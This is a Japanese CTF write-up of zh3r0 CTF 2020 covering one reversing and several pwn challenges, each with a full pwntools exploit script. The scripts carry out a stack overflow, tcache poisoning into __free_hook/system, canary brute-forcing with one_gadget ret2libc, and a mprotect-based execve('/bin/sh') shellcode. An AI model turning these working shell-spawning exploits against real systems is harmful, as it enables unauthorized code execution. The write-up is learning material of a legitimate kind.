イントロ Link to this heading

最近レポートに殺されていた(同時にレポートを殺していた)ため CTF に参加できていなかったが、 夜 11 時にふと思い立って適当に今建っている野良 CTF に参加することにした。 参加したのはzh3r0 CTF 2020 (インドの CTF?)。 やっぱ一人だと詰まったところで悶々として壁を殴るしかできないため、殴る用の壁を買おうと思う。

Snakes Everywhere (rev) Link to this heading

pwn が 3 問しか出ていない時に消化不良だったため解いた Rev 問。

python のディスアセンブルコード(もとのコードは本物の Flag を暗号化してる)と暗号化されたデータファイルが渡されている。 普通に python のディスアセンブルコードを読んで、それと逆のことをするプログラムを書いて暗号化データをデコードすればいい。

exploit.py
 1def xor(str1,str2):
 2    return chr(ord(str1) ^ ord(str2))
 3
 4flag = ""
 5len_flag = 38
 6key = "I_l0v3_r3v3r51ng"
 7
 8with open("./snake.txt","rb") as f:
 9    cipher = f.read()
10
11
12for i in range(len_flag+63,63+len(key)//2,-1):
13    flag += xor(chr(cipher[i]),key[i%16])
14
15for i in range(len_flag//3*2+63,63+len_flag//3-1):
16    flag += chr(cipher[i] // ord(key[i%len(key)] + i))
17    print("*")
18
19print(flag)
20
21'''
22# original code
23def xor(str1,str2):
24    return chr(ord(str1) ^ ord(str2))
25
26
27# file length == 38(0x26)
28flag = "zh3r0{fake flag}"
29key = "I_l0v3r3v3r51ng"
30
31if len(flag) == 38:
32    print("ERROR")
33    exit()
34
35ciphertext = ""
36
37for i in range(len(flag)//3):
38    ciphertext += chr(ord(flag[i])*ord(key[i]))
39
40for i in range(len(flag)//3,len(flag)//3*2):
41    ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)] + i)
42
43for i in range((len(key)//2,len(flag)):
44    ciphertext += xor(key[i%16],flag[i])
45
46'''

未完成なまま動かしたら殆どデコードできたから後は脳内補完した。 zh3r0{python_disass3mbly_is v3ry_E4sy}

FreeFlag Link to this heading

win()関数あり、StackOverflow あり。指を動かすカロリーのみが必要:

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "./chall"
 8LIBCNAME = ""
 9
10#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
11hosts = ("us.pwn.zh3r0.ml","localhost","localhost")
12ports = (3456,12900,23947)
13rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
16context(os='linux',arch='amd64')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20
21## utilities #########################################
22
23win = 0x400707
24
25def hoge():
26    pass
27
28## exploit ###########################################
29
30def exploit():
31  global c
32
33  c.recvuntil("name: ")
34  raw_input("OK")
35  c.send("A"*0x28+p64(win+1))
36
37
38## main ##############################################
39
40if __name__ == "__main__":
41    global c
42
43    if len(sys.argv)>1:
44      if sys.argv[1][0]=="d":
45        cmd = """
46          set follow-fork-mode parent
47        """
48        c = gdb.debug(FILENAME,cmd)
49      elif sys.argv[1][0]=="r":
50        c = remote(rhp1["host"],rhp1["port"])
51      elif sys.argv[1][0]=="v":
52        c = remote(rhp3["host"],rhp3["port"])
53    else:
54        c = remote(rhp2['host'],rhp2['port'])
55    exploit()
56    c.interactive()

zh3r0{welcome_to_zh3r0_ctf}

Command 1 Link to this heading

バイナリ読んでないから詳細は分からず。 以下で flag が取れる:

  1. Add: hoge
  2. Edit: 0->sh
  3. Run: 0

残念な非想定解が存在した問題(レビュー時に気づかないのがちょっと不思議)。

zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}

一瞬 flag で笑わせに来てるのかと思った。 想定解を flag に入れると、非想定解があったときにださくなるからやめようと思った。

Help Link to this heading

sec.sh
1./chall2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8706cc0104f816cb54565b44b7bcbb07bda87ac8, not stripped
2    Arch:     amd64-64-little
3    RELRO:    Partial RELRO
4    Stack:    No canary found
5    NX:       NX enabled
6    PIE:      No PIE (0x400000)

冗長すぎるバイナリが配布される。これは何か妙技があるのかと思ったら、ただ冗長だった。 .bssの指定の場所に一度のみ自由に書き込みできる。 18byte stack overflow がある。

まずは libcbase を leak する。 pop rdi gadget を用いてgot[setvbuf]を rdi に積んだ後、main関数中のcall putsの直前に飛ぶように ROP する。 puts()で libc leak をしたあとも普通に 2 回目のmain関数は続きread()をする。 2 回目のmainに return する際に RSP は 2 回目のreadgot[setvbuf]+0x20に対してreadをすることになるから、 前述の ROP の際 FBP の場所に.bssセクションのアドレスを上書きし、.bssにはgot[setvbuf]+0x20のアドレスを書き込んでおき、onegadget で GOT overwrite。 最後に 2 回目の return をするところで、.bssに仕込んでおいたplt[setvbuf]に return して終了。

zh3r0{thanks_somuch_for_helping_my_friend____btw_please_DM_me_what_solution_did_you_use}

Command2 Link to this heading

Double Free できるので tcache poisoning して終わり:

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = "./chall"
  8LIBCNAME = "./libc.so.6"
  9
 10#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
 11hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
 12ports = (7530,12900,23947)
 13rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 14rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 15rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 16context(os='linux',arch='amd64')
 17binf = ELF(FILENAME)
 18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 19
 20
 21## utilities #########################################
 22
 23
 24def hoge(ix):
 25    global c
 26    c.recvuntil("> ")
 27    c.sendline(str(ix))
 28
 29def _add(command,size,description):
 30    global c
 31    hoge(1)
 32    c.recvline()
 33    c.recvuntil("> ")
 34    print("********::")
 35    c.send(command)
 36    c.recvline()
 37    c.send(str(size))
 38    c.recvline()
 39    c.send(description)
 40
 41def _run(command,ix):
 42    hoge(2)
 43
 44def _del(ix):
 45    hoge(4)
 46    c.recvuntil("index: ")
 47    c.sendline(str(ix))
 48
 49def _show(ix):
 50    hoge(5)
 51    c.recvuntil("index")
 52    c.sendline(str(ix))
 53
 54## exploit ###########################################
 55
 56def exploit():
 57  global c
 58
 59  _add("A"*0x18,0x600,"B"*0x600)
 60  _add("C"*0x18,0x38,"D"*0x38)
 61  print("[+] created two command")
 62  print("sleeping...")
 63  sleep(2)
 64  _show(1)
 65  print("[+] showed")
 66  c.recvuntil("C"*0x18)
 67  heapbase = unpack(c.recvline().rstrip()[:-1].ljust(8,'\x00')) - 0x950-0x1f0+0x200+0x70
 68  print("heap: "+hex(heapbase))
 69  c.recvline()
 70
 71  _add(p64(0x41)*3,0x38,"F"*0x38)
 72  _del(1)
 73  _del(1)
 74  _del(0)
 75
 76  #_add(p64(1)+"\n",0x38,p64(heapbase+0x50))
 77  _add(p64(heapbase+0x260)+"\n",0x58,"E"*0x8)
 78  _show(3)
 79  c.recvuntil("E"*0x8)
 80  libcbase = unpack(c.recv(6).ljust(8,'\x00')) - 0x3ec110
 81  print("libcbase: "+hex(libcbase))
 82
 83
 84  ogs = [0x4f2c5,0x4f322,0x10a38c]
 85
 86  _add("E"*0x18,0x38,p64(libcbase+libc.symbols["__free_hook"]))
 87  _add("/bin/sh;\n",0x38,"E"*8)
 88  _add("/bin/sh;\n",0x38,p64(libcbase+libc.symbols["system"]))
 89
 90  hoge(4)
 91  c.recvuntil("index: ")
 92  c.sendline(str(5))
 93
 94## main ##############################################
 95
 96if __name__ == "__main__":
 97    global c
 98
 99    if len(sys.argv)>1:
100      if sys.argv[1][0]=="d":
101        cmd = """
102          set follow-fork-mode parent
103        """
104        c = gdb.debug(FILENAME,cmd)
105      elif sys.argv[1][0]=="r":
106        c = remote(rhp1["host"],rhp1["port"])
107      elif sys.argv[1][0]=="v":
108        c = remote(rhp3["host"],rhp3["port"])
109    else:
110        c = remote(rhp2['host'],rhp2['port'])
111    exploit()
112    c.interactive()

zh3r0{don't_let_heap_pwn_killed_dmmeyoursol}

Blind Link to this heading

バイナリが与えられていない blind pwn。 blind pwn と言えば FSA で elfbase 求めてなんたらみたいなのが多い気がしているが、 本問では libcbase(みたいなもの。そうとは言われてない)が最初から与えられている。 一度だけ入力を求められ、大量に入力すると以下のようになる:

Core dumpedとは表示されているが明らかに本物のコアダンプではないため、 自前のカナリアを飼っているものと考えられる

ここらで TSG の sandbox で愚痴を言っていたところ、 卍うにしいず卍 さんがささっとカナリアを求めてくれたため、 それを使って ret2libc で終了。 (頭がついていなかったため 256^8 回の brute-force が必要かと思ってしまっていたが 256*8 回で良かった) (coredump が0x24以上からであり、8byte align されていないの気持ち悪いなと思っていたら、カナリアのあとに 0x4byte 埋める必要があった)

exploit.py
  1#!/usr/bin/env python
  2#encoding: utf-8;
  3
  4from pwn import *
  5import sys
  6
  7FILENAME = ""
  8LIBCNAME = "../help/libc.so.6"
  9
 10hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
 11ports = (3248,12300,23947)
 12rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
 13rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
 14rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
 15context(os='linux',arch='amd64')
 16#binf = ELF(FILENAME)
 17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
 18
 19
 20## utilities #########################################
 21
 22def hoge():
 23  pass
 24
 25## exploit ###########################################
 26
 27def exploit(canary,num):
 28  global c
 29
 30  with open("test.txt","w") as f:
 31      f.write("A"*0x20000)
 32
 33  ogs = [0x4f2c5,0x4f322,0x10a38c]
 34  tro = "🏆"
 35  medal = "🥇"
 36
 37  c.recvuntil("->")
 38  c.sendline("yes")
 39  #c.send("yes"+"A"*0x10)
 40  c.recvuntil("->")
 41  c.sendline("yes")
 42
 43  c.recvuntil("-> ")
 44  libcbase = int(c.recvline().rstrip(),16)
 45  #print("libcbase: "+hex(libcbase))
 46
 47  c.recvuntil("->")
 48  c.send(medal*0x24 + canary + p8(num))
 49
 50  if "Core" in c.recv(4):
 51    return False
 52  else:
 53    return True
 54
 55def exploit2():
 56  global c
 57
 58  with open("test.txt","w") as f:
 59      f.write("A"*0x20000)
 60
 61  ogs = [0x4f2c5,0x4f322,0x10a38c]
 62  tro = "🏆"
 63  medal = "🥇"
 64
 65  c.recvuntil("->")
 66  c.sendline("yes")
 67  #c.send("yes"+"A"*0x10)
 68  c.recvuntil("->")
 69  c.sendline("yes")
 70
 71  c.recvuntil("-> ")
 72  libcbase = int(c.recvline().rstrip(),16)
 73
 74  c.recvuntil("->")
 75  canary = '\xc1\x16\x8b\x99\x91\x9b\x1a\x31'
 76  c.send(tro*(0x24//4) + canary + "A"*4 + p64(libcbase+ogs[2])*0x2)
 77  return
 78
 79
 80## main ##############################################
 81
 82if __name__ == "__main__":
 83    global c
 84    canary = ""
 85
 86    if len(sys.argv)>1:
 87      if sys.argv[1][0]=="d":
 88        cmd = """
 89          set follow-fork-mode parent
 90        """
 91        c = gdb.debug(FILENAME,cmd)
 92      elif sys.argv[1][0]=="r":
 93        c = remote(rhp1["host"],rhp1["port"])
 94      elif sys.argv[1][0]=="v":
 95        c = remote(rhp3["host"],rhp3["port"])
 96      elif sys.argv[1][0]=="j":
 97        c = remote(rhp1["host"],rhp1["port"])
 98        exploit2()
 99        c.interactive()
100    else:
101        c = remote(rhp2['host'],rhp2['port'])

zh3r0{Be_awareof_static_stack_cookie_}

\x32\x64 Link to this heading

唯一長時間かけた問題。 なんか途中で 32bit mode になってスタックポインタがイカれるため、 mprotect().bssセクションを executable にして、 そこに push を使わないシェルコードをぶち込んでおくという問題。

但し一番焦ったのは flag を提出した気になって提出をしていなかったこと。 しかも/tmpディレクトリで作業していたため、 解き終わった後にexploitを消してしまうという失態を犯した。ま ぁ上位を狙ってるわけでもないし flag を通さなくてもいいやということで放置した:

exploit.py
 1#!/usr/bin/env python
 2#encoding: utf-8;
 3
 4from pwn import *
 5import sys
 6
 7FILENAME = "./chall"
 8LIBCNAME = ""
 9
10#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
11hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
12ports = (9653,12300,23947)
13rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
16context(os='linux',arch='amd64')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20
21## utilities #########################################
22
23
24def hoge():
25    pass
26
27## exploit ###########################################
28
29def exploit():
30  global c
31  addr_main = 0x400130
32  addr_bss = 0x600000
33
34  c.recvuntil("name: ")
35  # mprotect(addr_bss,0x1000,7)でbssをexecutableにする
36  # rdiにはreadの返り値として0x7dを入れて0x4000e8でraxにmov
37  c.send(p64(addr_bss)+p64(0x7)+p64(addr_bss)+p64(0xff)+p64(0)+p32(0x4000e8))
38  c.recvuntil(": ")
39  # executableにした後でexecve("/bin/sh")
40  shellcode = asm("mov eax,0xb")
41  shellcode += asm("mov ebx,{}".format(hex(addr_bss+0x4)))
42  shellcode += asm("mov ecx,0")
43  shellcode += asm("mov edx,0")
44  shellcode += asm("int 0x80")
45  pay = p32(addr_bss+0xc)+"/bin/sh\x00"+shellcode
46  pay += "\xc9"*(0x7d-len(pay))
47  c.send(pay)
48
49
50
51## main ##############################################
52
53if __name__ == "__main__":
54    global c
55
56    if len(sys.argv)>1:
57      if sys.argv[1][0]=="d":
58        cmd = """
59          set follow-fork-mode parent
60        """
61        c = gdb.debug(FILENAME,cmd)
62      elif sys.argv[1][0]=="r":
63        c = remote(rhp1["host"],rhp1["port"])
64      elif sys.argv[1][0]=="v":
65        c = remote(rhp3["host"],rhp3["port"])
66    else:
67        c = remote(rhp2['host'],rhp2['port'])
68    exploit()
69    c.interactive()

zh3r0{is_it_32bit_or_64bit}

アウトロ Link to this heading

自宅に G が出たら発狂するくらい嫌なのに、 他人の家に出たら何であんなにテンション上がるんだろうなぁ。